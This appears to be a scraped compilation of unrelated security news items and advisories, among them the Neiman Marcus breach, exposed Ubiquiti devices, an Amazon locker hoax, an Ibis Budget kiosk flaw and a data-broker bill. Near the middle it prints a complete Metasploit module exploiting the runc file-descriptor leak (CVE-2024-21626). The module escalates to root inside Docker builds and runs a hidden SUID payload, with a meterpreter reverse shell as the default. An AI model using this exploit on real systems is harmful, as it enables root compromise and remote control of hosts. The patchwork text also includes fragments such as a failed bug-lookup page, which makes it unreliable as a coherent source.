Almost immediately after Neiman Marcus began informing customers about a data breach, the alleged data was offered for sale.

Luxury retail chain Neiman Marcus has begun to inform customers about a cyberattack it discovered in May. The attacker compromised a database platform storing customers’ personal information.

The letter tells customers:

> “Promptly after learning of the issue, we took steps to contain it, including by disabling access to the relevant database platform.”

In the data breach notification, Neiman Marcus says 64,472 people are affected.

An investigation showed that the data contained information such as name, contact data, date of birth, and Neiman Marcus or Bergdorf Goodman gift card numbers. According to Neiman Marcus, the exposed data does not include gift card PINs. Shortly after the data breach disclosure, a cybercriminal going by the name “Sp1d3r” posted on BreachForums that they were willing to sell the data.

Image courtesy of Daily Dark Web

> “Neiman Marcus not interested in paying to secure data. We give them opportunity to pay and they decline. Now we sell. Enjoy!”

According to Sp1d3r, the data includes name, address, phone, dates of birth, email, last four digits of Social Security Numbers, and much more in 6 billion rows of customer shopping records, employee data, and store information.

Neiman Marcus is reportedly one of the many victims of the Snowflake incident, in which the third-party platform used by many big brands was targeted by cybercriminals. The name Sp1d3r has been associated with the selling of information belonging to other Snowflake customers.

Oddly enough, Sp1d3r’s post seems to have since disappeared.

Later screenshot

Sp1d3r’s post count went down back to 19 instead of the 20 displayed in the screenshot above.

So, the post has either been removed, withdrawn, or hidden for reasons which are currently unknown. As usual, we will keep an eye on how this develops.

**Protecting yourself after a data breach**

There are some actions you can take if you are, or suspect you may have been, the victim of a data breach.

*   **Check the vendor’s advice.** Every breach is different, so check with the vendor to find out what’s happened, and follow any specific advice they offer.
*   **Change your password.** You can make a stolen password useless to thieves by changing it. Choose a strong password that you don’t use for anything else. Better yet, let a password manager choose one for you.
*   **Enable two-factor authentication (2FA).** If you can, use a FIDO2-compliant hardware key, laptop or phone as your second factor. Some forms of two-factor authentication (2FA) can be phished just as easily as a password. 2FA that relies on a FIDO2 device can’t be phished.
*   **Watch out for fake vendors.** The thieves may contact you posing as the vendor. Check the vendor website to see if they are contacting victims, and verify the identity of anyone who contacts you using a different communication channel.
*   **Take your time.** Phishing attacks often impersonate people or brands you know, and use themes that require urgent attention, such as missed deliveries, account suspensions, and security alerts.
*   **Consider not storing your card details**. It’s definitely more convenient to get sites to remember your card details for you, but we highly recommend not storing that information on websites.
*   **Set up identity monitoring.** Identity monitoring alerts you if your personal information is found being traded illegally online, and helps you recover after.

**Check your exposure**

While matters are still unclear on how much information was involved in the Neiman Marcus breach, it’s likely you’ve had other personal information exposed online in previous data breaches. You can check what personal information of yours has been exposed with our Digital Footprint portal. Just enter your email address (it’s best to submit the one you most frequently use) to our free Digital Footprint scan and we’ll give you a report.

**We don’t just report on threats – we help safeguard your entire digital identit**y

Cybersecurity risks should never spread beyond a headline. Protect your—and your family’s—personal information by using identity protection.

 Neiman Marcus confirms breach. Is the customer data already for sale? 

In the cloud, patches disseminate automatically. On your computer, you get notified. IoT devices, meanwhile, can escape attention for years on end.

Source: Nirbokphoto.com via Alamy Stock Photo

Tens of thousands of small office/home office (SOHO) devices sold by Ubiquiti Inc. are vulnerable on the open Internet to a five-year-old bug, researchers are warning.

In January 2019, broadband Internet expert Jim Troutman warned that an exposed port in dozens of Ubiquiti Internet of Things (IoT) gadgets was being exploited in denial-of-service (DoS) attacks. The underlying vulnerability, CVE-2017-0938, was assigned a "high" 7.5 score on the CVSS scale.

Seven months after that, researchers from Rapid7 were still able to find nearly 500,000 vulnerable devices. And now, even though Ubiquiti has long since acknowledged and patched the issue, around 20,000 devices remain vulnerable, Check Point Research noted in a new blog post.

"We can see that some of them were compromised," says Radoslaw Madej, vulnerability research team leader at Check Point Software. "Also, I've only done pretty rudimentary fingerprinting of the devices. It's quite possible that there are more of them \[compromised\] too."

Check Point also warned that besides being used in a SOHO botnet for DoS attack amplification, compromised devices can leak potentially sensitive data, too.

**Exposed Cameras & Routers Can Leak Data**

In probing Ubiquiti gadgets like the G4 Instant Camera — an Internet-enabled camera with two-way audio — Check Point homed in on port 10001, where the exposed process was first identified five years ago. The service at issue: Ubiquiti's discovery protocol, used to communicate between the device and its CloudKey+ controller.

Using spoofed packets, the Check Point researchers discovered that communicating with neither the CloudKey+ nor its connected devices required any sort of authentication. Further, the messages they received in response to their pings included specific information about the devices, plus their owners' names and locations.

"In a few instances, actually, there was a first name and the last name of a person, and what turned out to be a location where a Ubiquiti router was located," Madej recalls. "All this information … it took only one packet from me to receive that response.

"If I wanted to attack this entity, it would be easy for me, knowing the type of router they have, the name of the person, the exact software version, and their business address. \[I could\] find their contact details, and call them up saying: 'Hey, I'm calling from your Internet provider. I need to do some maintenance work. Provide me with access to the admin panel.' Because I can validate myself to this person by giving them all the information they need."

**The Issue with IoT**

Patched Ubiquiti products have a safeguard against Internet-based attacks: They do not respond to pings coming from the wider Web, only from internal IP addresses.

Despite the easy availability of such a simple fix, tens of thousands affected products in the wild remain unpatched. This seems to have a lot less to do with Ubiquiti itself than IoT security in general.

"We got used to patching our Windows machines and MacBooks and mobile phones and whatnot, but we're still not really used to the fact that we should also take care about our IoT devices, be it Wi-Fi routers, cameras, vacuum cleaners, fridges, and washing machines," Madej says.

"Of course," he adds, "the question is: To what extent an end user should even be bothered about it. We live in a time when all devices should have automatic updates enabled by default. I don't think that should be a concern of the end user."

**About the Author**

Nate Nelson is a freelance writer based in New York City. Formerly a reporter at Threatpost, he contributes to a number of cybersecurity blogs and podcasts. He writes "Malicious Life" -- an award-winning Top 20 tech podcast on Apple and Spotify -- and hosts every other episode, featuring interviews with leading voices in security. He also co-hosts "The Industrial Security Podcast," the most popular show in its field.

20K Ubiquiti IoT Cameras &amp; Routers Are Sitting Ducks for Hackers

runc versions 1.1.11 and below, as used by containerization technologies such as Docker engine and Kubernetes, are vulnerable to an arbitrary file write vulnerability. Due to a file descriptor leak it is possible to mount the host file system with the permissions of runc (typically root). Successfully tested on Ubuntu 22.04 with runc 1.1.7-0ubuntu1~22.04.1 using Docker build.

    ### This module requires Metasploit: https://metasploit.com/download# Current source: https://github.com/rapid7/metasploit-framework##class MetasploitModule < Msf::Exploit::Local  Rank = ExcellentRanking  include Msf::Post::Linux::Priv  include Msf::Post::Linux::System  include Msf::Post::File  include Msf::Exploit::EXE  include Msf::Exploit::FileDropper  prepend Msf::Exploit::Remote::AutoCheck  def initialize(info = {})    super(      update_info(        info,        'Name' => 'runc (docker) File Descriptor Leak Privilege Escalation',        'Description' => %q{          All versions of runc <=1.1.11, as used by containerization technologies such as Docker engine,          and Kubernetes are vulnerable to an arbitrary file write.          Due to a file descriptor leak it is possible to mount the host file system          with the permissions of runc (typically root).          Successfully tested on Ubuntu 22.04 with runc 1.1.7-0ubuntu1~22.04.1 using Docker build.        },        'License' => MSF_LICENSE,        'Author' => [          'h00die', # msf module          'Rory McNamara' # Discovery        ],        'Platform' => [ 'linux' ],        'Arch' => [ ARCH_X86, ARCH_X64 ],        'SessionTypes' => [ 'shell', 'meterpreter' ],        'Targets' => [[ 'Auto', {} ]],        'Privileged' => true,        'References' => [          [ 'URL', 'https://snyk.io/blog/cve-2024-21626-runc-process-cwd-container-breakout/'],          [ 'URL', 'https://github.com/opencontainers/runc/security/advisories/GHSA-xr7r-f8xq-vfvv'],          [ 'CVE', '2024-21626']        ],        'DisclosureDate' => '2024-01-31',        'DefaultTarget' => 0,        'Notes' => {          'AKA' => ['Leaky Vessels'],          'Stability' => [CRASH_SAFE],          'Reliability' => [REPEATABLE_SESSION],          'SideEffects' => [ARTIFACTS_ON_DISK]        },        'DefaultOptions' => {          'EXITFUNC' => 'thread',          'PAYLOAD' => 'linux/x64/meterpreter/reverse_tcp',          'MeterpreterTryToFork' => true        }      )    )    register_advanced_options [      OptString.new('WritableDir', [ true, 'A directory where we can write and execute files', '/tmp' ]),      OptString.new('DOCKERIMAGE', [ true, 'A docker image to use', 'alpine:latest' ]),      OptInt.new('FILEDESCRIPTOR', [ true, 'The file descriptor to use, typically 7, 8 or 9', 8 ]),    ]  end  def base_dir    datastore['WritableDir'].to_s  end  def check    sys_info = get_sysinfo    unless sys_info[:distro] == 'ubuntu'      return CheckCode::Safe('Check method only available for Ubuntu systems')    end    return CheckCode::Safe('Check method only available for Ubuntu systems') if executable?('runc')    # Check the app is installed and the version, debian based example    package = cmd_exec('runc --version')    package = package.split[2] # runc, version, <the actual version>    if package&.include?('1.1.7-0ubuntu1~22.04.1') || # jammy 22.04 only has 2 releases, .1 (vuln) and .2       package&.include?('1.0.0~rc10-0ubuntu1') || # focal only had 1 release prior to patch, 1.1.7-0ubuntu1~20.04.2 is patched       package&.include?('1.1.7-0ubuntu2') # mantic only had 1 release prior to patch, 1.1.7-0ubuntu2.2 is patched      return CheckCode::Appears("Vulnerable runc version #{package} detected")    end    unless package&.include?('+esm') # bionic patched with 1.1.4-0ubuntu1~18.04.2+esm1 so anything w/o +esm is vuln      return CheckCode::Appears("Vulnerable runc version #{package} detected")    end    CheckCode::Safe("runc #{package} is not vulnerable")  end  def exploit    # Check if we're already root    if !datastore['ForceExploit'] && is_root?      fail_with Failure::None, 'Session already has root privileges. Set ForceExploit to override'    end    # Make sure we can write our exploit and payload to the local system    unless writable? base_dir      fail_with Failure::BadConfig, "#{base_dir} is not writable"    end    # create directory to write all our files to    dir = "#{base_dir}/.#{rand_text_alphanumeric(5..10)}"    mkdir(dir)    register_dirs_for_cleanup(dir)    # Upload payload executable    payload_path = "#{dir}/.#{rand_text_alphanumeric(5..10)}"    vprint_status("Uploading Payload to #{payload_path}")    write_file(payload_path, generate_payload_exe)    register_file_for_cleanup(payload_path)    # write docker file    vprint_status("Uploading Dockerfile to #{dir}/Dockerfile")    dockerfile = %(FROM #{datastore['DOCKERIMAGE']}    WORKDIR /proc/self/fd/#{datastore['FILEDESCRIPTOR']}    RUN cd #{'../' * 8} && chmod -R 777 #{dir[1..]} && chown -R root:root #{dir[1..]} && chmod u+s #{payload_path[1..]} )    write_file("#{dir}/Dockerfile", dockerfile)    register_file_for_cleanup("#{dir}/Dockerfile")    print_status('Building from Dockerfile to set our payload permissions')    output = cmd_exec "cd #{dir} && docker build ."    output.each_line { |line| vprint_status line.chomp }    # delete our docker image    if output =~ /Successfully built ([a-z0-9]+)$/      print_status("Removing created docker image #{Regexp.last_match(1)}")      output = cmd_exec "docker image rm #{Regexp.last_match(1)}"      output.each_line { |line| vprint_status line.chomp }    end    fail_with(Failure::NoAccess, "File Descriptor #{datastore['FILEDESCRIPTOR']} not available, try again (likely) or adjust FILEDESCRIPTOR.") if output.include? "mkdir /proc/self/fd/#{datastore['FILEDESCRIPTOR']}: not a directory"    fail_with(Failure::NoAccess, 'Payload SUID bit not set') unless get_suid_files(payload_path).include? payload_path    print_status("Payload permissions set, executing payload (#{payload_path})...")    cmd_exec "#{payload_path} &"  endend

runc 1.1.11 File Descriptor Leak Privilege Escalation

Firefox for Android suffered from a time-of-check-time-of-use vulnerability that allowed a malicious application to read sensitive data from application directories. Note: This issue is only affected Firefox for Android. Other operating systems are unaffected. This vulnerability affects Firefox < 86.

Sorry, I can't find "_1684761?cve=title_". It does not seem like bug number nor an alias to a bug.

Please press **Back** and try again.

CVE-2021-23977: Invalid Bug ID

In Ionic Identity Vault before 5.0.5, the protection mechanism for invalid unlock attempts can be bypassed.

**\[5.1.2\] (2021-11-16)#****Bug Fixes#**

*   **Android:** Handle errors related to Android Keystore Operations
*   **iOS, Android:** outdated/missing error message with a malformed config object passed
*   **iOS:** Fixes a class name collision with DevicePlugin between IdentityVault and @capacitor/device

**\[5.1.1\] (2021-10-27)#****Bug Fixes#**

*   Fixing crash while importing complex objects
*   Removing built in localizations

**Change Log#**

**\[5.1.0\] (2021-10-11)**

**Bug Fixes#**

*   **iOS:** Throw VaultError.biometricsLockedOut error when device biometrics is locked out
*   Don't unnecessarily trigger onError for MissingBiometricError
*   Don't call `setIsStrongBoxBacked(true)` on devices that do not have secure hardware

**Features#**

*   Add hasSecureHardware device check

**Change Log#****\[5.0.5\] (2021-09-30)#****Bug Fixes#**

*   (Android): Setting Device.isLockedOutOfBiometrics after lockout
*   (iOS) Remove vault on re-install
*   Allow DeviceSecurity vaults to be cleared without biometrics
*   Security: Closing loophole allowing bypass of invalid unlock attempts
*   Security: Implementing stronger Android KeyStore protections
*   Security: Properly set setUserAuthenticationParam based on deviceSecurityType

**Change Log#****\[5.0.4\] (2021-09-17)#****Bug Fixes#**

*   Properly handle invalidated or changed biometrics

**\[5.0.3\] (2021-09-07)#****Bug Fixes#**

*   fixing lockOnBackgrounded regression

**\[5.0.2\] (2021-09-01)#****Bug Fixes#**

*   Adding requirement for cordova-android 10.0.0
*   Changing CustomPasscode vault keychain access control requirements
*   Clear InMemoryVault when locked
*   Don't attempt to get values from non-existent vault
*   Handle null / undefined `lockAfterBackgrounded` setting on Android
*   replaces deprecated functions and removes swift warnings from compiler
*   Unifying biometric attempt error codes between iOS and Android

**\[5.0.1\] (2021-08-10)#****Bug Fixes#**

*   fixes splash screen not dismissing on iOS when hideScreenOnBackground is enabled
*   fixes support for iv5 in cordova apps
*   Use correct encoding for encoding vault data

**\[5.0.0\] (2021-07-28)#****BREAKING CHANGES#**

*   New API Surface - See the migration guide for full migration details

**Features#**

*   Simplified API surface
*   Improved compatibility with React, Vue, and plain JS.
*   Enhanced Local Development Experience
    *   Non-Secure Browser Vault Implementation
*   Android Class 2 Biometrics Support (See announcement blog for details)

**\[4.3.3\] (2021-06-14)#****Bug Fixes#**

*   **core:** fixing incorrect plugin.xml version

**\[4.3.2\] (2021-06-11)#****Bug Fixes#**

*   **android:** disable passive biometric confirmation step (to fix issue related to face unlock on Samsung devices)

**\[4.3.1\] (2021-05-24)#****Bug Fixes#**

*   **ios:** remove the `import Cordova` added by Capacitor

**\[4.3.0\] (2021-05-20)#****Bug Fixes#**

*   **core:** isBiometricsSupported should return true for devices with strong faceid on android
*   **core:** returning appropriate error codes for disabled biometrics and canceled auth

**Features#**

*   added setHideScreenOnBackground to allow turning on/off hiding as needed
    
*   **core:** adding option to configure biometric prompt text on iOS
    

**\[4.2.8\] (2021-04-29)#****Bug Fixes#**

*   **ios** Handling thrown errors in IonicNativeAuth class
*   **android** Add null check in onBiometricActivityResult

**\[4.2.7\] (2020-10-28)#****Bug Fixes#**

*   **android:** keyboard now displays when default passcode dialog opens

**\[4.2.6\] (2020-09-02)#****Bug Fixes#**

*   **android:** lifecycle events moved to the main thread

**\[4.2.5\] (2020-08-10)#****Bug Fixes#**

*   **iOS:** ensure the privacy screen image view appears as expected \[CT-138\]

**\[4.2.4\] (2020-07-22)#****Bug Fixes#**

*   **android:** reset auth attempts when clearing/resetting auth \[CT-83\]
*   **iOS:** ensure screen is always obscured when needed \[CT-61\]

**\[4.2.2\] (2020-06-10)#****Bug Fixes#**

*   add lock call to clean up in-memory mode , closes \[#118\]
*   **iOS:** ensuring that the screen is always hidden when backgrounded SE-202

**\[4.2.1\] (2020-05-27)#****Bug Fixes#**

*   **android:** avoid crash on detecting gesture navigation when using hideScreen

**\[4.2.0\] (2020-05-13)#****Bug Fixes#**

*   **android:** Added transparent theme for biometric auth activity SE-188
*   **android:** make hideScreen work when using gesture navigation

**Features#**

*   added method getAvailableHardware to return list of biometrics options

**\[4.1.0\] (2020-04-29)#****Bug Fixes#**

*   **cordova:** remove full paths in config file targets

**Features#**

*   `allowSystemPinFallback`, `shouldClearVaultAfterTooManyFailedAttempts`, and \`isLockedOutOfBiometrics

**\[4.0.1\] (2020-04-17)#****Bug Fixes#**

*   **android:** clear vault when there are too many failed bio unlock attempts
*   **ios:** clear vault when there are too many failed bio unlock attempts
*   allow install in cordova-android 9-dev

**\[4.0.0\] (2020-04-08)#****Bug Fixes#**

*   **ios:** swift 4.2 compilation issue

**Features#**

*   **android:** AndroidX upgrade, Android Face ID support

**BREAKING CHANGES#**

*   **android:** AndroidX is now required in projects with IV v4.

**\[3.6.4\] (2020-05-13)#****Bug Fixes#**

*   **android:** avoid KeyPermanentlyInvalidatedException problem on SDK 19 \[SE-183\]
*   **ios:** swift 4.2 compilation issue

**\[3.6.3\] (2020-04-01)#****Bug Fixes#**

*   **ios:** remove old vault upon reinstall

**\[3.6.2\] (2020-02-28)#****Bug Fixes#**

*   **ios:** clear the vault on lock when using InMemoryOnly mode

**\[3.6.1\] (2020-02-05)#****Bug Fixes#**

*   **Android, iOS:** fix an issue where if auto unlock or restore session fails the vault fails to fire the onVaultReady event

**\[3.6.0\] (2019-12-20)#****Features#**

*   add getKeys to IdentityVault
*   add removeValue to IdentityVault

**\[3.5.1\] (2019-12-18)#****Bug Fixes#**

*   **android:** properly call onVaultLocked after lock
*   **ios:** add screenProtectView on top window

**\[3.5.0\] (2019-11-27)#****Bug Fixes#**

*   **Android:** Fix issue where vault would crash if Android device only supported FaceMatch
*   **vault-user:** use the vault user methods to set the auth mode

**Features#**

*   add isBiometricsSupported function

**\[3.4.8\] (2019-11-08)#****Bug Fixes#**

*   **vault-user:** use the vault user methods to set the auth mode

**\[3.4.7\] (2019-09-09)#****Bug Fixes#**

*   **Android:** Fix an issue where the vault would not be cleared when fingerprints were added or all fingerprints were removed on Android..

**\[3.4.6\] (2019-08-07)#****Bug Fixes#**

*   **Android:** fix an issue where adding a fingerprint to device after the app was open would not refresh whether biometrics was available or not

**\[3.4.5\] (2019-07-27)#****Bug Fixes#**

*   **Android, iOS:** getSession return type and default IonicIdentityVaultUser generic to DefaultSession

**\[3.4.4\] (2019-07-25)#****Bug Fixes#**

*   **Android:** Fixes an issue on Android where getBiometricType would return none if Biometrics was not enabled even though the device had biometric hardware.

**\[3.4.3\] (2019-06-14)#****Bug Fixes#**

*   **Android:** Fixed issue where when hideScreenInBackground feature was enabled screenshots would be disabled.

**\[3.4.2\] (2019-06-14)#****Bug Fixes#**

*   **iOS:** Fixed an issue where the hide screen in background functionality was broken

**\[3.4.1\] (2019-06-06)#****Bug Fixes#**

*   **Android:** fix issue where setBiometricsEnabled(false) would throw an error if biometrics was unavailable

**\[3.4.0\] (2019-06-06)#****Bug Fixes#**

*   **iOS:** fix an issue where if a user removed fingerprints after authentication storing the session would return an error rather than default to passcode only mode
*   **iOS:** Fix issue where `getBiometricType` would return `none` if TouchID or FaceID was present on device but the user was not enrolled.
*   **iOS:** fix issue with getBiometricType and issue where lock event was triggered when lock was called in secure storage mode

**Features#**

*   Added android side of Secure Storage Mode
*   update Typescript/JS layer to support Secure Storage mode

**\[3.3.0\] (2019-05-10)#****Bug Fixes#**

*   **Android, iOS:** make the setting of the auth mode fault tolerant

**Features#**

*   **Android. iOS:** add Biometric or Passcode mode

**\[3.2.3\] (2019-04-29)#****Bug Fixes#**

*   **Android:** fix bug in Android where FingerprintManager import was missing

**\[3.2.2\] (2019-04-29)#****Bug Fixes#**

*   fix release configuration issue where xlmns:android was incorrectly add to manifest

**\[3.2.1\] (2019-04-27)#****Bug Fixes#**

*   fix bug where plugin id was incorrect and didn't include scope

**\[3.2.0\] (2019-04-26)#****Features#**

*   Added getPlugin method which can be overridden in advanced use cases to provide custom implementations for PWA compatibility etc.

**Bug Fixes#**

*   **iOS:** Fixed a bug on iOS where when using the hideScreenOnBackground flag the splashscreen may temporarily flash during biometric prompts.
*   **Android:** Fixed a bug on Android where isBiometricsAvailable would return true is some cases if No fingerprints were enrolled or fingerprint hardware wasn't available.
*   **Android, iOS:** Fixed a bug where getSession may incorrectly return `undefined` due to failing to wait for the plugin to be ready before returning.

**\[3.1.0\] (2019-04-19)#****Features#**

*   Added login method which clears the vault and stores the session passed to it.

**\[3.0.0\] (2019-04-08)#****Features#**

*   Added the ability to use onPasscodeRequest to use a custom pin prompt screen.
*   Made IdentityVaultUser a generic class to allow using the DefaultSession or extending it to type and store the session object.
*   Added support for advanced usages such as multi-tenant vaults by using the IonicNativeAuthPlugin and IdentityVault APIs directly.

CVE-2021-44033: Identity Vault Changelog - Identity Vault

A path traversal vulnerability was identified in GitHub Enterprise Server management console that allowed the bypass of CSRF protections. This could potentially lead to privilege escalation. To exploit this vulnerability, an attacker would need to target a user that was actively logged into the management console. This vulnerability affected all versions of GitHub Enterprise Server prior to 3.5 and was fixed in versions 3.1.19, 3.2.11, 3.3.6, 3.4.1. This vulnerability was reported via the GitHub Bug Bounty program.

CVE-2022-23732: Release notes - GitHub Docs

A message about extra delivery addresses getting added to Amazon accounts has gone wild on social media. Luckily, it's nothing to worry about.

Amazon customers have been seeing a message on social media that has caused some alarm.

Most of the posts look like one of these (depending on the social media platform):

> “PSA!! Amazon got hacked. For USA based people, check your Amazon account. Hackers added HUB lockers as your default delivery addresses. Remove it! I had 2 added to mine.”

Hub lockers are local secure places for people to pick up their Amazon order rather than risk them being left on a doorstep, so the concern was that someone could buy something on your account and then send it to the Hub locker to be picked up.

Here’s another similar post, this time saying the lockers were actually fake:

> “PSA: check your saved addresses on Amazon. Amazon got hacked and a lot of people (including me) have random “Amazon lockers” saved in their addresses – which are not actual lockers. If you do use Amazon lockers, be sure to verify that the locker you’re sending it to is an actual locker.
> 
> Double check your order history and make sure there aren’t any orders you don’t recognize. And check your bank accounts to make sure your credit card on file is also not being used for unauthorized purchases. “

It’s not surprising that those messages would raise the alarm amongst Amazon’s customers, but thankfully the security alert is nothing to worry about.

The additional addresses are genuine Hub locations or other pick-up locations and they weren’t put there by hackers. Amazon added them in error.

As an Amazon spokesperson told Snopes:

> This isn’t a data security matter and our systems are secure. Amazon pickup locations were added to a small number of customer accounts in error, and we are working to fix the issue. We apologize for any inconvenience this may have caused, and customers with questions about their account are welcome to contact customer service.

Things like this are tricky – on the one hand we are always pleased for people to share security issues and alert others to potential problems. However in this case it appears as though people were forwarding the message without first checking if it was, in fact, a real issue.

And nowadays with social media and instant messaging, rumours like these can spread fast. All it takes is some panic, little research, and a lot of contacts.

If you see a message like this, always do a bit of research before forwarding it on. Sites like Snopes allow you to search for keywords and you’ll find a lot of hoaxes including this one.

**We don’t just report on threats—we remove them**

Cybersecurity risks should never spread beyond a headline. Keep threats off your devices by downloading Malwarebytes today.

 &#8220;Amazon got hacked&#8221; messages are a false alarm 

By Waqas
Hackers Find Easy Access to Rooms at Ibis Budget Hotels!
This is a post from HackRead.com Read the original post: Vulnerability Exposed Ibis Budget Guest Room Codes to Hackers

Ibis Budget guests were left vulnerable after a security flaw in self-check-in kiosks exposed room access codes. Learn how this major security breach could have impacted travelers and what steps you can take to stay safe.

A data security issue at Ibis Budget hotels across Europe raised concerns for guest safety after a vulnerability in their self-check-in kiosks allowed anyone to see room access codes.

The issue came to light in late 2023 when a team of hackers from Swiss firm Pentagrid discovered the flaw in a kiosk at an Ibis Budget hotel in Germany. Their investigation revealed that the kiosks displayed the room access codes on the screen after check-in, potentially compromising the security of any guest who used the kiosk.

While Pentagrid only confirmed the vulnerability in a single German hotel, they believe it likely impacted a wider range of Ibis Budget locations. The budget hotel chain, owned by hospitality giant Accor, boasts over 600 locations across 20 countries.

According to Pentagrid, it promptly notified Accor about the security hole. The hotel group responded swiftly and within a month, a patch was rolled out to address the vulnerability and prevent further exposure of room access codes.

Although a fix is now in place, cybersecurity experts warn that such vulnerabilities can have serious consequences. With access codes exposed, anyone could potentially gain unauthorized entry to a guest’s room, putting them and their belongings at risk.

It is worth mentioning that hotels are a lucrative target for cybercriminals. There have been cases where threat actors infected hotel door lock systems with ransomware, or security researchers identified critical security vulnerabilities in electronic key software used by thousands of hotels worldwide, allowing hackers to unlock hotel rooms.

****Watch the Demo Video****

Despite the potential severity of the issue, Accor has not yet issued a public statement regarding the vulnerability in their Ibis Budget kiosks. This lack of transparency has raised concerns among security researchers and potential guests.

Nevertheless, security experts advise travellers using Ibis Budget hotels to be cautious and consider alternative check-in methods if available. Additionally, remaining alert about personal belongings and reporting any suspicious activity to hotel staff is crucial.

The Ibis Budget kiosk vulnerability shows the growing importance of cybersecurity in the hospitality industry. As hotels increasingly rely on technology to streamline operations, ensuring vital security measures are in place is vital to protect guests and maintain trust.

1.  Unsecured Video Doorbells Sold on Major Platforms
2.  Hacker Shows How to detect hidden cameras in hotels
3.  Trump Hotels’ Booking System Hacked, Card Data Stolen
4.  Hotel reservation platform leaked booking sites user data
5.  Marriott hotel reservation system hacked; slashes rate to 95%

Vulnerability Exposed Ibis Budget Guest Room Codes to Hackers

The National Defense Authorization Act may include new language forbidding government entities from buying Americans' search histories, location data, and more.

A “must-pass” defense bill wending its way through the United States House of Representatives may be amended to abolish the government practice of buying information on Americans that the country’s highest court has said police need a warrant to seize. Though it’s far too early to assess the odds of the legislation surviving the coming months of debate, it’s currently one of the relatively few amendments to garner support from both Republican and Democratic members. 

Introduction of the amendment follows a report declassified by the Office of the Director of National Intelligence—the nation’s top spy—which last month revealed that intelligence and law enforcement agencies have been buying up data on Americans that the government’s own experts described as “the same type” of information the US Supreme Court in 2018 sought to shield against warrantless searches and seizures. 

A handful of House lawmakers, Republicans and Democrats alike, have declared support for the amendment submitted late last week by representatives Warren Davidson, a Republican from Ohio, and Sara Jacobs, a California Democrat. The bipartisan duo is seeking stronger warrant requirements for the surveillant data constantly accumulated by people’s cellphones. They argue that it shouldn’t matter whether a company is willing to accept payment from the government in lieu of a judge’s permission.

“Warrantless mass surveillance infringes the Constitutionally protected right to privacy,” says Davidson. The amendment, he says, is aimed chiefly at preventing the government from “circumventing the Fourth Amendment” by purchasing “your location data, browsing history, or what you look at online.”

A copy of the Davidson-Jacobs amendment reviewed by WIRED shows that the warrant requirements it aims to bolster focus specifically on people’s web browsing and internet search history, along with GPS coordinates and other location information derived primarily from cellphones. It further encapsulates “Fourth Amendment protected information” and would bar law enforcement agencies of all levels of jurisdiction from exchanging “anything of value” for information about people that would typically require a “warrant, court order, or subpoena under law.”

The amendment contains an exception for anonymous information that it describes as “reasonably” immune to being de-anonymized; a legal term of art that would defer to a court’s analysis of a case’s more fluid technicalities. A judge might, for instance, find it unreasonable to assume a data set is well obscured based simply on the word of a data broker. The Federal Trade Commission’s Privacy and Identity Protection Division noted last year that claims that data is anonymized “are often deceptive,” adding that “significant research” reflects how trivial it often is to reidentify “anonymized data.”

The amendment was introduced Friday to defense legislation that will ultimately authorize a range of policies and programs consuming much of the Pentagon’s nearly $890 billion budget next year. The National Defense Authorization Act (NDAA), which Congress is required to pass annually, is typically pieced together from hundreds, if not thousands, of amendments. 

This year negotiations are particularly contentious, given the split chamber and a mess of interparty strife, and only one in six NDAA amendments introduced so far have apparent bipartisan support. 

Republican members Nancy Mace of South Carolina, Kelly Armstrong of North Dakota, and Ben Cline of Virginia have backed the Davidson-Jacobs amendment, according to the House Rules Committee website. They’re joined by Democrats Pramila Jayapal of Washington, Zoe Lofgren of California, and Veronica Escobar of Texas.

Jacobs previously coauthored a related amendment with Davidson that attempted to compel the US military to disclose annually how often its various spy agencies purchase Americans’ smartphone and web-browsing data. The amendment was stripped from the final version of last year’s NDAA.

The data broker report declassified last month by the US director of national intelligence, Avril Haines, stressed that neither presently, nor at any point in the past, would the government be permitted to force “billions of people to carry location-tracking devices on their persons at all times.” That is, nevertheless, what is happening today, independent of the government’s actions. The unceasing explosions of new technologies are clashing more and more frequently with the nation’s antiquated privacy laws, giving the Department of Homeland Security, Defense Intelligence Agency, and others like them an unmistakable loophole through which virtually anyone can be surveilled without a reason. 

Demand Progress senior policy counsel Sean Vitka, whose group has spent years lobbying for privacy reform in the face of the government’s growing and often secret reliance on data brokers, says the relatively untracked purchases—up to and including “turnkey lists of everyone who has gone to an abortion clinic, a place of worship, a rehab facility, or a protest”—represent an “existential threat” to the right to privacy. The Davidson-Jacobs amendment marks a “critical opportunity to get \[federal lawmakers\] on the record,” adds Vitka.

The American Civil Liberties Union intends to score how lawmakers vote on the amendment, WIRED has learned. The lawmakers’ effort is also being supported by the Electronic Frontier Foundation, National Association of Criminal Defense Lawyers, FreedomWorks, and the Brennan Center for Justice at NYU School of Law, among dozens of similar civil society organizations.  

Congressional staffers and others privy to ongoing conferencing over privacy matters on Capitol Hill say that regardless of whether the amendment succeeds, the focus on data brokers is just a prelude to a bigger fight coming this fall over the potential sunsetting of one of the spy community’s powerful tools, Section 702 of the Foreign Intelligence Surveillance Act, the survivability of which is anything but assured.

US Spies Are Buying Americans' Private Data. Congress Has a Chance to Stop It

A missing permission check in Jenkins Tuleap Git Branch Source Plugin 3.2.4 and earlier allows unauthenticated attackers to trigger Tuleap projects whose configured repository matches the attacker-specified value. Tuleap Git Branch Source Plugin 3.2.5 requires a token to access the webhook endpoint.



**Jenkins Tuleap Git Branch Source Plugin allows unauthenticated attackers to trigger Tuleap projects whose configured repo matches attacker-specified value**

Moderate severity GitHub Reviewed Published Oct 19, 2022 • Updated Oct 19, 2022

GHSA-73v5-w6fg-2m44: Jenkins Tuleap Git Branch Source Plugin allows unauthenticated attackers to trigger Tuleap projects whose configured repo matches attacker-specified value

Search

lenovo warranty check/lookup | check warranty status | lenovo support us